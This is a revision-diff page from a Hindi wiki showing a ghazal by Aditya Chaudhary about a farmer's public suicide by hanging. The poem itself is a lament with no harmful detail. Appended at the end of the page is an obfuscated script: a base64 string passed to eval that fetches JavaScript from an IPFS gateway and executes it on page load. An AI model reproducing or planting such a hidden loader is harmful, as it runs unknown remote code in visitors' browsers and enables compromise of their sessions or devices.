"हर शख़्स मुझे बिन सुने -आदित्य चौधरी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो ("हर शख़्स मुझे बिन सुने -आदित्य चौधरी" सुरक्षित कर दिया ([संपादन=केवल प्रबन्धकों को अनुमति दें] (अन)
पंक्ति 3: पंक्ति 3:
 
|  
 
|  
 
<noinclude>[[चित्र:Copyright.png|50px|right|link=|]]</noinclude>
 
<noinclude>[[चित्र:Copyright.png|50px|right|link=|]]</noinclude>
<div style="text-align:center; direction: ltr; margin-left: 1em;"><font color=#003333 size=5>कितना बेदर्द और तन्हा<small> -आदित्य चौधरी</small></font></div>
+
<div style="text-align:center; direction: ltr; margin-left: 1em;"><font color=#003333 size=5>हर शख़्स मुझे बिन सुने<small> -आदित्य चौधरी</small></font></div>
 
----
 
----
 
:: एक गुमनाम किसान गजेन्द्र द्वारा, सरेआम फांसी लगा लेने पर...
 
:: एक गुमनाम किसान गजेन्द्र द्वारा, सरेआम फांसी लगा लेने पर...

07:44, 27 जनवरी 2016 का अवतरण

Copyright.png
हर शख़्स मुझे बिन सुने -आदित्य चौधरी

एक गुमनाम किसान गजेन्द्र द्वारा, सरेआम फांसी लगा लेने पर...

हर शख़्स मुझे बिन सुने आगे जो बढ़ गया
तो दर्द दिखाने को मैं फांसी पे चढ़ गया

महलों के राज़ खोल दूँ शायद में इस तर्हा
इस वास्ते ये ख़ून मेरे सर पे चढ़ गया

कांधों पे जिसे लाद के कुर्सी पे बिठाया
वो ही मेरे कांधे पे पैर रख के चढ़ गया

किससे कहें, कैसे कहें, सुनता है यहाँ कौन
कुछ भाव ज़माने का ऐसा अबके चढ़ गया

जब बिक रहा हो झूठ हर इक दर पे सुब्ह शाम
‘आदित्य’ ये बुख़ार कैसा तुझपे चढ़ गया


टीका टिप्पणी और संदर्भ


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>